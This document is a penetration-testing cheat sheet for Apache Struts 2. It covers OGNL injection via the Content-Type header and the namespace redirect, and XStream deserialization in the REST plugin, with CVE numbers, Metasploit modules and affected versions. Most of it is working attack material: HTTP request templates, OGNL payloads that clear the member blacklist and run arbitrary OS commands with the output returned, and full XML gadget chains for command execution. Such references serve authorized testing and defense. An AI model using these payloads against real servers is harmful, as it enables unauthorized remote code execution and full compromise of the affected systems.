Apache Struts 2

Known vulnerabilities and exploits for the Apache Struts 2 framework.


OGNL Injection

Object-Graph Navigation Language (OGNL) is an expression language for Java allowing to get and set properties as well as executing methods. Many Struts2 vulnerabilities are due to the interpretation of injected OGNL expression by the framework, due to the lack of input sanitization. It is possible to invoke an OGNL expression as follow:

${1+1}
%{1+1}
Jakarta Multipart Parser (CVE-2017-5638)

Metasploit: exploit/multi/http/struts2_content_type_ognl

This vulnerability can be exploited on a Struts action by changing the Content-Type header to multipart/form-data in order to make the Jakarta-based plugin parse the OGNL expression.

GET /struts2-app/vulnerableUpload.action HTTP/1.1
Host: vulnerable-website.com
Content-Type: ${(#_='multipart/form-data').<OGNL_PAYLOAD>}

Vulnerable Versions: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10

Namespace Redirect (CVE-2018-11776)

Metasploit: exploit/multi/http/struts2_namespace_ognl

The vulnerability occurs when the web application uses a redirect action without specifying any namespace or it uses a wildcard namespace like /*. If Struts can’t find any namespace for the given action, it will take a user-specified namespace and evaluates it as a OGNL expression.

GET /${<OGNL_PAYLOAD>}/redirect.action HTTP/1.1
Host: vulnerable-website.com

Example: help.action

GET /${1+1}/help.action HTTP/1.1
Host: vulnerable-website.com

In this example, the namespace is / and the redirect action help.action will answer a 302 Found to /2/date.action.

ROOT/WEB-INF/classes/struts.xml:

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

Vulnerable Versions: Struts 2.3 - 2.3.34, Struts 2.5 to 2.5.16

OGNL Payloads

In all exploitation vectors above, replace the <OGNL_PAYLOAD> by one of the following.

Empty the class member blacklist:

(#ognlUtil=#context['com.opensymphony.xwork2.ActionContext.container'].getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())

Struts offers blacklisting functionality for class member access, which might prevent you from using certain class members in your payload. Try clearing the blacklist using this payload when the others do not work when they should.

Add custom HTTP header to response (detection):

(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts',1+1))

Sleep 10 seconds (detection):

(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString)

Blind Remote Command Execution (simple):

(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('<COMMAND>'))

Remote Command Execution (advanced):

(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='<COMMAND>').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='<COMMAND>').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

This ones should work on both Windows and Linux and should provide the command output in the HTTP response.

Java Deserialization

REST Plugin XStream (CVE-2017-9805)

Metasploit: exploit/multi/http/struts2_rest_xstream

The vulnerability is a result of unsafe de-serialisation in Java Struts REST plugin with the XStream handler when handling XML payloads received with a Content-Type set to application/xml.

POST /struts2-rest-showcase-2.3.33/orders/3 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/xml

<PAYLOAD>

Detection payload (sleep 10):

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom"><com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl><default><__name>detect</__name><__bytecodes><byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWw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AAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array></__bytecodes><__transletIndex>-1</__transletIndex><__indentNumber>0</__indentNumber></default><boolean>false</boolean></com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class><name>newTransformer</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

Remote command execution: (separate words in the command using the <string> tag instead of spaces)

<map><entry><jdk.nashorn.internal.objects.NativeString><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder">
<command>
<string>COMMAND</string><string>ARG1</string><string>ARG2</string>
</command>
</next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method></filter><next></next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/></is></dataSource></dataHandler></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry></map>
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder">
<command>
<string>COMMAND</string><string>ARG1</string><string>ARG2</string>
</command>
<redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>RANDOM</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

Vulnerable Versions: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

References